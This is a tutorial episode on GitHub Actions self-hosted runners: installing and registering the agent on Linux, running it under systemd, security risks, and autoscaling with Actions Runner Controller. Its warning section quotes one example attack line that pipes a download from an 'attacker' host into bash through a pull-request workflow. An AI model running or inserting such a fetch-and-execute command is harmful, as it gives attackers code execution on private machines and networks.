This episode discusses when and how to manage a self-hosted runner: the reasons to need one for private network access or special hardware, installation and registration on a Linux server with systemd, its security threats, and autoscaling on Kubernetes using Actions Runner Controller.

For fourteen episodes, all our workflows have run on GitHub-hosted runners — machines managed by GitHub, appearing when needed, gone when finished. Convenient and easy, like hailing a taxi. But there are times when a taxi isn't enough: you need a truck with specific specifications, or a route that can't use public roads.
Episode 15 covers self-hosted runners: machines of your own that run workflows. We'll discuss when you truly need one, how to install and register it on Linux, making it a systemd service, its security threats, and autoscaling on Kubernetes with Actions Runner Controller (ARC).
The GitHub-hosted runner is great, but it has three limitations that can become deal-breakers:
| Aspect | GitHub-hosted | Self-hosted |
|---|---|---|
| Provisioning | Automatic by GitHub | Yours |
| Cost | Uses build minutes | Free per minute, pay for infrastructure |
| Hardware | Fixed, limited | Free, can be GPU/large disk |
| Network | Public internet | Can be private/VPC networks |
| Isolation security | Isolated per job | Shared, needs protection |
| Maintenance | None | Agent versions, OS updates, security |
The runner agent is a program that listens for tasks from GitHub and executes them. The recommended minimum spec: 2 vCPU, 7 GB RAM, and 14 GB of disk space — bigger is better for heavy builds. Create a dedicated user account (don't use root) and download the agent:
mkdir -p /opt/actions-runner && cd /opt/actions-runner
curl -o actions-runner.tar.gz -L \
https://github.com/actions/runner/releases/download/v2.327.0/actions-runner-linux-x64-2.327.0.tar.gz
tar xzf actions-runner.tar.gz
sudo ./bin/installdependencies.shThe version in the URL above is just an example — always take the latest version from the Settings > Actions > Runners page, which provides the appropriate download links and registration token.
Registration connects the agent to the repository. The registration token is valid for one hour and can be created in the UI or via the API:
curl -L -X POST \
-H "Authorization: Bearer $GH_TOKEN" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/devvnull/app/actions/runners/registration-tokenThen register the agent with the config.sh script. Labels are important: labels are what workflows use to select this runner via runs-on:
./config.sh --url https://github.com/devvnull/app \
--token "$REGISTRATION_TOKEN" \
--name runner-prod-01 \
--labels linux,production \
--work _workAfter this, a workflow that writes runs-on: [self-hosted, linux, production] will land on this machine. The name and labels can be checked anytime on the Runners page under the repository Settings menu.
If the runner is run with ./run.sh in a terminal, it dies as soon as the SSH session closes. The production solution: register it as a systemd service so it runs in the background, starts automatically at boot, and stays alive without a login session:
sudo ./svc.sh install
sudo ./svc.sh start
sudo ./svc.sh status
systemctl status actions.runner.devvnull-app.runner-prod-01.serviceThe svc.sh script is generated automatically by the agent — it creates a systemd unit pointing to this runner's configuration. Runner logs can be monitored with journalctl, and its status is directly visible in the GitHub UI as "online". A single server can run several runners at once (up to its CPU count), each in its own installation folder.
Warning
The golden rule: never install a self-hosted runner on a public repository. On a public repository, anyone can open a pull request, and the workflow running on that pull request is executed on your machine — an attacker just needs to write run: curl http://attacker/x | bash to execute arbitrary code on your network and hardware. GitHub itself shows a big warning when a public repository uses a self-hosted runner. If you still must use one, make sure all workflows from foreign contributors are routed to hosted runners, and treat the self-hosted machine as an untrusted environment.
Even on private repositories, a self-hosted runner has physical access to the network environment where it sits — broader than just that repo. Keep it disciplined: a restricted user account, a strict firewall, labels separating runners for sensitive jobs, and regular agent updates because GitHub disables agent versions that are too old.
Managing static runners means paying for machines that sit idle when there are no builds. The answer in the Kubernetes world: Actions Runner Controller (ARC) — a controller that runs runners as pods and scales their number according to the job queue. When there are no jobs, the pod count can drop to zero (saving money); during a spike, pods increase automatically.
The latest ARC version uses the AutoscalingRunnerSet resource, managed directly via the GitHub UI:
apiVersion: actions.github.com/v1
kind: AutoscalingRunnerSet
metadata:
name: arc-runner-set
namespace: arc
spec:
githubConfigUrl: https://github.com/devvnull/app
githubConfigSecret: arc-gh-secret
maxRunners: 20
minReplicas: 0
template:
spec:
containers:
- name: runner
image: ghcr.io/actions/actions-runner:latest
command: ["/home/runner/run.sh"]minReplicas: 0 makes the cluster place no pods while idle; as soon as a job enters the queue, ARC adds pods up to maxRunners as the safety limit. With ARC, sporadic pipeline workloads no longer pay for idle machines — runner resources grow and shrink according to need, similar to how application workloads are scaled.
| Mistake | Symptom | Solution |
|---|---|---|
| Installing a runner on a public repo | Anyone can execute code on your machines | Restrict to private repos only |
| Running via manual run.sh | Runner dies when SSH closes | Use sudo ./svc.sh install |
| Registration token expired | config.sh fails with 401 | Create a new token within one hour |
| Forgetting labels | Workflow can't find the runner | Give labels in config.sh, match with runs-on |
| Leaving runners idle and static | Idle machine costs balloon | Autoscale with ARC on Kubernetes |
Runners are the machines that execute the entire pipeline — owning and managing them means holding both control and responsibility:
config.sh using a one-hour token; systemd is set up via sudo ./svc.sh install so the runner starts on its own.runs-on) and available runners.Episode 15 closes the deployment and infrastructure phase. In the next episode 16, we enter the quality phase: Automated Testing, Code Quality & Security Scanning — coverage, linters, SonarQube, CodeQL, and Dependabot. Because a fast and reliable pipeline must also be tested!